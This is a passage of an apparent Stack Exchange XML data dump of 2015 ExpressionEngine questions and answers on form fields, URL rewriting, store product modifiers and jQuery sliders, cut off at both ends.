value=&quot;{csrf_token}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1654" LastEditorUserId="1654" LastEditDate="2015-11-17T21:46:46.057" LastActivityDate="2015-11-17T21:46:46.057" Title="Ordering issue with orderby in Super Search" Tags="|ee2|solspace|search|supersearch|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="34748" PostTypeId="2" ParentId="34739" CreationDate="2015-11-17T00:55:04.030" Score="1" Body="&lt;p&gt;I mentioned this privately, but will mention it here again:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;value=&quot;&quot;&lt;/code&gt; is not a valid attribute for the &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt; element in HTML. &lt;code&gt;value=&quot;&quot;&lt;/code&gt; is used with &lt;code&gt;&amp;lt;option&amp;gt;&lt;/code&gt; elements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also have &lt;code&gt;name=&quot;&quot;&lt;/code&gt; twice on your &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt; element. You should remove one (&lt;code&gt;search_in&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About &lt;code&gt;search_in&lt;/code&gt;, from the &lt;a href=&quot;https://solspace.com/docs/super_search_2/search/#search_in&quot; rel=&quot;nofollow&quot;&gt;Solspace Super Search documentation&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This parameter allows your users to select which fields they which to&#xA;  search within. &lt;strong&gt;This field is paired up with the keywords field&lt;/strong&gt;, and&#xA;  overrides default behaviour of searching within ALL searchable custom&#xA;  fields. Options are: title, custom_field_name, all, or a combination&#xA;  of title and any custom_field_name's, delimited by pipe character (|).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In other words, this field is often not used in a dropdown field, but rather in a hidden field in the search form, or as a parameter in the results template (the template using &lt;code&gt;{exp:super_search:results}&lt;/code&gt;). You can use &lt;code&gt;search_in&lt;/code&gt; if you're using a &lt;code&gt;keywords&lt;/code&gt; field in your search form. If you're not, and instead are looking to search in a particular custom field (eg. you want to search for a title in a custom field called eg. &lt;code&gt;work_office&lt;/code&gt;), then use&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;select name=&quot;work_office&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;select name=&quot;work_office[]&quot;&amp;gt;&lt;/code&gt; (if you want to send an &lt;em&gt;array&lt;/em&gt; of data)&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-11-17T00:55:04.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34749" PostTypeId="1" CreationDate="2015-11-17T03:16:16.933" Score="1" ViewCount="161" Body="&lt;p&gt;I have a problem with GoDaddy hosting. It seems that URL segmentation is not working, so I get link like this &lt;code&gt;http://example.com/?/main/url_title&lt;/code&gt; and I need link like this &lt;code&gt;http://example.com/main/url_title&lt;/code&gt; because when I share content on FB instead of link &lt;code&gt;http://example.com/?/main/url_title&lt;/code&gt; , FB through sharer sees this &lt;code&gt;http://example.com/?%20main%20url_title&lt;/code&gt;  because of question mark.&#xA;I need to solve this problem. Either on GoDaddy somehow or somehow in FB url.&#xA;Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="3582" LastActivityDate="2015-12-18T17:03:17.403" Title="URL segmentation GoDaddy" Tags="|url|query|facebook|godaddy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34750" PostTypeId="2" ParentId="34749" CreationDate="2015-11-17T03:38:28.737" Score="1" Body="&lt;p&gt;I think I've heard of this issue before, where the host forces query strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ee2docs.com/urls/remove_index.php.html#exceptions&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://ee2docs.com/urls/remove_index.php.html#exceptions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look under that reference and scroll down to the area referencing query string forcing. You apparently need to change this rule in your EE installation root's &lt;code&gt;.htaccess&lt;/code&gt; file to match this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^(.*)$ /index.php?/$1 [L] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If that doesn't do it, could you expand on your set up (EE version, are you hosting on a sub-domain, other environment attributes that could affect this, etc..)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Couple of reference answer to check out also:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/16625/hosting-ee-on-godaddy-com&quot;&gt;Hosting EE on GoDaddy.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/21882/strange-hosting-questions-in-regards-to-godaddy-and-index-php&quot;&gt;Strange hosting questions in regards to godaddy and index,php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2015-11-17T03:38:28.737" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34751" PostTypeId="1" AcceptedAnswerId="34768" CreationDate="2015-11-17T07:30:18.473" Score="0" ViewCount="56" Body="&lt;p&gt;How do you display birthday as select dropdowns for day, month and year.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried this but seems like it is of no avail&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;div&amp;gt;&amp;lt;label for=&quot;birthday&quot;&amp;gt;Date of Birth:&amp;lt;/label&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;col_one_third&quot;&amp;gt;&#xA;        &amp;lt;select class=&quot;form-control&quot; id=&quot;day&quot; name=&quot;bday_d&quot;&amp;gt;&#xA;            {select_bday_d}&#xA;                &amp;lt;option value=&quot;{value}&quot; {selected}&amp;gt;{value}&amp;lt;/option&amp;gt;&#xA;            {/select_bday_d}&#xA;        &amp;lt;/select&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;col_one_third&quot;&amp;gt;&#xA;        &amp;lt;select class=&quot;form-control&quot; id=&quot;month&quot; name=&quot;bday_m&quot;&amp;gt;&#xA;            {select_bday_m}&#xA;                &amp;lt;option value=&quot;{value}&quot; {selected}&amp;gt;{value}&amp;lt;/option&amp;gt;&#xA;            {/select_bday_m}&#xA;        &amp;lt;/select&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;col_one_third col_last&quot;&amp;gt;&#xA;        &amp;lt;select id=&quot;year&quot; class=&quot;form-control&quot; name=&quot;bday_y&quot;&amp;gt;&#xA;            {select_bday_y}&#xA;                &amp;lt;option value=&quot;{value}&quot; {selected}&amp;gt;{value}&amp;lt;/option&amp;gt;&#xA;            {/select_bday_y}&#xA;        &amp;lt;/select&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2341" LastActivityDate="2015-11-18T07:37:12.793" Title="Solspace User: Birthday select dropdown - Registration form" Tags="|members|solspace-user|registration|drop-down|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34752" PostTypeId="1" CreationDate="2015-11-17T07:58:54.880" Score="0" ViewCount="144" Body="&lt;p&gt;Our website is hosted by a private company in UK... They designed the website and are also hosting it. I am thinking of moving the website to Amazon Web Services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone ever tried this and what services on AWS was used?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How secured is AWS with respect to EE websites?&lt;/p&gt;&#xA;" OwnerUserId="3610" LastActivityDate="2015-11-17T07:58:54.880" Title="Moving EE to AWS" Tags="|ee2|migration|aws|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34753" PostTypeId="2" ParentId="34710" CreationDate="2015-11-17T08:59:44.463" Score="0" Body="&lt;p&gt;It can be done, but it is a bit of a hassle... This is what I eventually came up with to tackle this use case:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same code as above, but with an additional parameter that excludes all entries that are not assigned to the category that is to be shown. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;{exp:channel:entries related_categories_mode=&quot;yes&quot; channel=&quot;news&quot; custom_fields=&quot;yes&quot; limit=&quot;10&quot; category_group=&quot;7|1&quot; uncategorized_entries=&quot;no&quot;&#xA;entry_id=&quot;not {exp:low_variables:single var='elv_excluded_entry_ids' preparse:target_channel='news' preparse:from_subsite='innoviso'}&quot;}&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;/{language_code}/solutions/nieuws/detail/{news_url_title_{language_code}}/{entry_id}&quot;&amp;gt;{news_title_{language_code}}&amp;lt;/a&amp;gt; &#xA;    &amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That exclusion is done via a (Early) Low Variable that presents a piped list of Entry IDs to be excluded: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if from_subsite==&quot;innoviso&quot;}&#xA;{exp:dandy_cat:entries channel=&quot;{target_channel}&quot; category=&quot;(17)&amp;amp;(not 16)&quot; dynamic=&quot;no&quot;}&#xA;{entry_id}|&#xA;{/exp:dandy_cat:entries}&#xA;{/if}&#xA;{if from_subsite==&quot;solutions&quot;}&#xA;{exp:dandy_cat:entries channel=&quot;{target_channel}&quot; category=&quot;(16)&amp;amp;(not 17)&quot; dynamic=&quot;no&quot;}&#xA;{entry_id}|&#xA;{/exp:dandy_cat:entries}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I still believe there should be an easier way (eg support the category parameter for related_categories_mode). If anybody has any better solutions let me know! &lt;/p&gt;&#xA;" OwnerUserId="510" LastActivityDate="2015-11-17T08:59:44.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34755" PostTypeId="1" AcceptedAnswerId="34760" CreationDate="2015-11-17T11:23:12.670" Score="0" ViewCount="70" Body="&lt;p&gt;This is a two part question as it relates to the same product type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're thinking of using expresso-store for this, but open to other suggestions (CartThrob)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1a) Store Product 1 - Events&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of our products may be an ‘event’. An event might have several possible dates, for this example, lets assume there are three.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The user would select the date they wish to go to said event. Each date would have a limited number of items or stock. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 1a:&lt;/strong&gt; Can each event be a single entry with modifiers OR would each date need to be a separate entry?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1b) Store Product 1 - Events&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets assume a Manager needs to buy several tickets for an event for each of their staff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 1b:&lt;/strong&gt; At the point of adding multiple items to their basket, can a user add staff details against each of the purchased items? Ideally we’d need to add email address and First-name, Last-name.&lt;/p&gt;&#xA;" OwnerUserId="886" LastEditorUserId="886" LastEditDate="2015-11-17T13:58:02.407" LastActivityDate="2015-11-17T14:40:16.787" Title="Expresso-store selling events - entries or modifiers?" Tags="|expresso-store|cartthrob|ee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34756" PostTypeId="2" ParentId="34744" CreationDate="2015-11-17T11:31:26.600" Score="1" Body="&lt;p&gt;I doubt there is a way to perform that kind of modification using a hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you could do instead (if you need to alter all forms) is modify &lt;code&gt;_shared/form&lt;/code&gt; View file (but then of couse you'll need to be sure to keep the changes when you update the system)&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-11-17T11:31:26.600" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34757" PostTypeId="1" AcceptedAnswerId="34772" CreationDate="2015-11-17T13:59:28.473" Score="0" ViewCount="54" Body="&lt;p&gt;&lt;strong&gt;Product 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would be a single product that is either a &lt;strong&gt;download&lt;/strong&gt; OR &lt;em&gt;physical&lt;/em&gt; product. Ideally this would be a single entry as the data remains the same - it’s simply the end product that varies in format and price… so my questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Question 2a - 1:&lt;/strong&gt; Can we handle the product ‘type’ with modifiers, is this the best way to manage this?&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Question 2a - 2:&lt;/strong&gt; If a physical product is chosen is it easy to add postage? (digital download has no postage)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Question 2a - 3:&lt;/strong&gt; Depending on the type chosen can we vary the email that is sent to the user?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="886" LastActivityDate="2015-11-18T14:29:25.650" Title="Expresso-store product modifiers or multiple entries?" Tags="|expresso-store|modifiers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34758" PostTypeId="1" CreationDate="2015-11-17T14:28:20.267" Score="0" ViewCount="56" Body="&lt;p&gt;&lt;strong&gt;3) Purchase notifications&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each ‘product’ will have an ‘owner’, this will either be the author of the entry or a custom filed with an associated emails address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 3:&lt;/strong&gt; Can we vary the order notification ‘to’ email address based on this custom fields or the entries Authors email address? For example, if I was the owner example@example.com and someone ‘purchases’ shop item I am the owner of, I would get the the email notification.&lt;/p&gt;&#xA;" OwnerUserId="886" LastActivityDate="2015-11-17T14:37:30.650" Title="Expresso-store - order email notification custom email address" Tags="|expresso-store|notification|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34759" PostTypeId="2" ParentId="34758" CreationDate="2015-11-17T14:37:30.650" Score="2" Body="&lt;p&gt;Nope - the email you set in the email notification setting for each email is fixed.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-11-17T14:37:30.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34760" PostTypeId="2" ParentId="34755" CreationDate="2015-11-17T14:40:16.787" Score="2" Body="&lt;p&gt;Using modifiers on a product is indeed the best way to sell a single event with multiple dates, as each modifier can also have its own inventory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for adding something like staff details for ticket purchases, just add one or more &quot;text&quot; modifiers - this allows the purchaser to input free text for each item they add to the cart.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-11-17T14:40:16.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34761" PostTypeId="2" ParentId="34637" CreationDate="2015-11-17T15:41:51.167" Score="0" Body="&lt;p&gt;I received a fix from EllisLab support for the blank white page error when using the login as member feature on EE3. If anyone else runs into this try the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In system/ee/EllisLab/ExpressionEngine/Controller/Members/Profile/Login.php at line 192 add:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$url = ee()-&amp;gt;input-&amp;gt;post('other');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And change line 199 to read:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;elseif ($redirect == 'other' &amp;amp;&amp;amp; ! empty($url))&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3279" LastActivityDate="2015-11-17T15:41:51.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34762" PostTypeId="2" ParentId="34172" CreationDate="2015-11-17T15:50:39.247" Score="0" Body="&lt;p&gt;I ended up solving this with a new member group. &lt;/p&gt;&#xA;" OwnerUserId="3279" LastActivityDate="2015-11-17T15:50:39.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34764" PostTypeId="1" CreationDate="2015-11-17T21:18:32.017" Score="2" ViewCount="1844" Body="&lt;p&gt;I'd like to run multiple flexsliders on a page, but in JS, there's only a reference to &lt;code&gt;#carousel&lt;/code&gt; and &lt;code&gt;#slider&lt;/code&gt; tags. I can use {count} or some other variable next to id to create a unique &lt;code&gt;id&lt;/code&gt;, but not quite sure how to execute in JS so that this works dynamically no matter how many sliders client loads. Any help is much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the EE/HTML template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{playa_projects var_prefix=&quot;playafield&quot;}&#xA;    &amp;lt;?php $count = $i++; ?&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a class=&quot;fancybox&quot; href=&quot;#inline-&amp;lt;?php echo $count; ?&amp;gt;&quot; title=&quot;{playafield:studies_caption}&quot;&amp;gt;{playafield:title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;div id=&quot;inline-&amp;lt;?php echo $count; ?&amp;gt;&quot; style=&quot;display: none;&quot;&amp;gt;&#xA;        &amp;lt;div id=&quot;slider&amp;lt;?php echo $count; ?&amp;gt;&quot; class=&quot;flexslider slider-js&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;flex-heading&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;col-md-6&quot;&amp;gt;&#xA;                    &amp;lt;h2&amp;gt;{playafield:project_name}&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                {playafield:studies_outline_block var_prefix=&quot;nested_matrix&quot;}&#xA;                    {if nested_matrix:content_1}&#xA;                        &amp;lt;div class=&quot;col-md-2 project-name&quot;&amp;gt;&#xA;                            &amp;lt;h3&amp;gt;Project Size&amp;lt;/h3&amp;gt;&#xA;                            {nested_matrix:content_1}&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    {/if}&#xA;                    {if nested_matrix:content_2}&#xA;                        &amp;lt;div class=&quot;col-md-2 project-name&quot;&amp;gt;&#xA;                            &amp;lt;h3&amp;gt;Project Cost&amp;lt;/h3&amp;gt;&#xA;                            {nested_matrix:content_2}&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    {/if}&#xA;                    {if nested_matrix:content_3}&#xA;                        &amp;lt;div class=&quot;col-md-2 project-name&quot;&amp;gt;&#xA;                            &amp;lt;h3&amp;gt;Project Use&amp;lt;/h3&amp;gt;&#xA;                            {nested_matrix:content_3}&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    {/if}&#xA;                {/playafield:studies_outline_block}&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;ul class=&quot;slides&quot;&amp;gt;&#xA;                {playafield:studies_image_gallery}&#xA;                    &amp;lt;li&amp;gt;&amp;lt;img src=&quot;{playafield:url}&quot; /&amp;gt;&amp;lt;/li&amp;gt;&#xA;                {/playafield:studies_image_gallery}&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div id=&quot;carousel&amp;lt;?php echo $count; ?&amp;gt;&quot; class=&quot;flexslider carousel-js&quot;&amp;gt;&#xA;            &amp;lt;ul class=&quot;slides&quot;&amp;gt;&#xA;                {playafield:studies_image_gallery}&#xA;                    &amp;lt;li&amp;gt;&amp;lt;img src=&quot;{playafield:url}&quot; /&amp;gt;&amp;lt;/li&amp;gt;&#xA;                {/playafield:studies_image_gallery}&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/playa_projects}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the JS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function() {         &#xA;&#xA;    jQuery('.fancybox').fancybox({&#xA;        width     : 800,&#xA;        height    : 800,&#xA;        autoSize   : false,&#xA;        autoHeight : true,&#xA;        autoResize  : true,&#xA;        scrollOutside  : true,&#xA;        aspectRatio : false,&#xA;        maxWidth  : '90%',&#xA;        fitToView    : false,&#xA;        scrolling : 'auto',&#xA;        prevText: &quot;&quot;,&#xA;        nextText: &quot;&quot;,&#xA;        helpers:  {&#xA;            title : {&#xA;                type : 'inside'&#xA;            }&#xA;        },&#xA;&#xA;        beforeShow:function(el){&#xA;&#xA;            $(&quot;.carousel-js&quot;).each(function() {&#xA;                var id = this.id;&#xA;                var subNav = id.substr(-1);&#xA;&#xA;                jQuery('#' + id).flexslider({&#xA;                    animation: &quot;slide&quot;,&#xA;                    controlNav: false,&#xA;                    animationLoop: false,&#xA;                    slideshow: false,&#xA;                    itemWidth: 210,&#xA;                    itemMargin: 5,&#xA;                    prevText: &quot;&quot;,&#xA;                    nextText: &quot;&quot;,&#xA;                    asNavFor: '#slider' + subNav&#xA;                    //move: 2,&#xA;                    //startAt: 0,&#xA;                });&#xA;            });&#xA;&#xA;            $(&quot;.slider-js&quot;).each(function() {&#xA;                var id = this.id;&#xA;                var carousel = id.substr(-1);&#xA;&#xA;                jQuery('#' + id).flexslider({&#xA;                    animation: &quot;fade&quot;,&#xA;                    controlNav: false,&#xA;                    animationLoop: false,&#xA;                    slideshow: false,&#xA;                    prevText: &quot;&quot;,&#xA;                    nextText: &quot;&quot;,&#xA;                    sync: &quot;#carousel&quot; + carousel,&#xA;                    //startAt: 0,&#xA;                    start: function(slider){&#xA;                      $('body').removeClass('loading');&#xA;                    }&#xA;                });&#xA;            });&#xA;&#xA;            //jQuery.fancybox.inner.resize();&#xA;            setTimeout(function(){&#xA;                jQuery.fancybox.reposition();&#xA;                jQuery.fancybox.inner.resize(); &#xA;            },300); &#xA;        }&#xA;&#xA;    });     &#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/91Bg7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/91Bg7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2889" LastEditorUserId="2889" LastEditDate="2016-01-20T15:06:22.587" LastActivityDate="2018-08-28T04:00:57.857" Title="Multiple/dynamic flexsliders for photo gallery" Tags="|javascript|jquery|entries|image-galleries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34765" PostTypeId="2" ParentId="34764" CreationDate="2015-11-18T00:20:50.803" Score="1" Body="&lt;p&gt;Easy peasy. Just create your unique ID's as you suggested, but give each carousel a common class.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('.carousel').each(function() {&#xA;&#xA;    // this will loop over each carousel&#xA;    var this_carousel_id = this.id;&#xA;&#xA;    // do your carousel setup here with your id!&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-11-18T15:53:44.893" LastActivityDate="2015-11-18T15:53:44.893" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="34767" PostTypeId="1" AcceptedAnswerId="34784" CreationDate="2015-11-18T06:12:33.157" Score="0" ViewCount="53" Body="&lt;p&gt;If I have a control panel page and I want to submit it to a PHP page in my extensions' directory, how do I do that? What would the URL be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or would I instead make an &lt;code&gt;ACT&lt;/code&gt; URL? If so, how do I do that on the control panel side of EE?&lt;/p&gt;&#xA;" OwnerUserId="6699" LastActivityDate="2015-11-19T08:08:44.700" Title="How do I find/make the URL to a PHP page in my extension?" Tags="|add-on|control-panel|add-on-development|extension|act|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34768" PostTypeId="2" ParentId="34751" CreationDate="2015-11-18T07:37:12.793" Score="0" Body="&lt;p&gt;In &lt;code&gt;{exp:user:register}&lt;/code&gt; you can use the same birthday fields that you can use in the &lt;code&gt;{exp:user:edit}&lt;/code&gt; form. Those fields are &lt;code&gt;bday_m&lt;/code&gt;, &lt;code&gt;bday_d&lt;/code&gt; and &lt;code&gt;bday_y&lt;/code&gt;. You can have a look at the Demo Templates that come with User for an example of those fields when editing your profile in the Demo. You can reuse those fields in a registration form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code for those three fields taken from the Demo template for &lt;code&gt;{exp:user:edit}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&#xA;                        &amp;lt;label for=&quot;bday_d&quot; style=&quot;display:block;&quot;&amp;gt;Birthday:&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;select name=&quot;bday_m&quot; id=&quot;bday_m&quot; class=&quot;form-control&quot; style=&quot;width:47%;margin-right:10px;display:inline-block;&quot;&amp;gt;&#xA;                            &amp;lt;option value=&quot;&quot;&amp;gt;--&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;01&quot; {if bday_m == &quot;01&quot;}selected=&quot;selected&quot;{/if}&amp;gt;January&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;02&quot; {if bday_m == &quot;02&quot;}selected=&quot;selected&quot;{/if}&amp;gt;February&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;03&quot; {if bday_m == &quot;03&quot;}selected=&quot;selected&quot;{/if}&amp;gt;March&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;04&quot; {if bday_m == &quot;04&quot;}selected=&quot;selected&quot;{/if}&amp;gt;April&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;05&quot; {if bday_m == &quot;05&quot;}selected=&quot;selected&quot;{/if}&amp;gt;May&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;06&quot; {if bday_m == &quot;06&quot;}selected=&quot;selected&quot;{/if}&amp;gt;June&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;07&quot; {if bday_m == &quot;07&quot;}selected=&quot;selected&quot;{/if}&amp;gt;July&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;08&quot; {if bday_m == &quot;08&quot;}selected=&quot;selected&quot;{/if}&amp;gt;August&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;09&quot; {if bday_m == &quot;09&quot;}selected=&quot;selected&quot;{/if}&amp;gt;September&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;10&quot; {if bday_m == &quot;10&quot;}selected=&quot;selected&quot;{/if}&amp;gt;October&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;11&quot; {if bday_m == &quot;11&quot;}selected=&quot;selected&quot;{/if}&amp;gt;November&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;12&quot; {if bday_m == &quot;12&quot;}selected=&quot;selected&quot;{/if}&amp;gt;December&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;/select&amp;gt;&#xA;&#xA;                        &amp;lt;select name=&quot;bday_d&quot; id=&quot;bday_d&quot; class=&quot;form-control&quot; style=&quot;width:17%;margin-right:10px;display:inline-block;&quot;&amp;gt;&#xA;                            &amp;lt;option value=&quot;&quot;&amp;gt;--&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1&quot; {if bday_d == &quot;1&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;2&quot; {if bday_d == &quot;2&quot;}selected=&quot;selected&quot;{/if}&amp;gt;2&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;3&quot; {if bday_d == &quot;3&quot;}selected=&quot;selected&quot;{/if}&amp;gt;3&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;4&quot; {if bday_d == &quot;4&quot;}selected=&quot;selected&quot;{/if}&amp;gt;4&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;5&quot; {if bday_d == &quot;5&quot;}selected=&quot;selected&quot;{/if}&amp;gt;5&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;6&quot; {if bday_d == &quot;6&quot;}selected=&quot;selected&quot;{/if}&amp;gt;6&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;7&quot; {if bday_d == 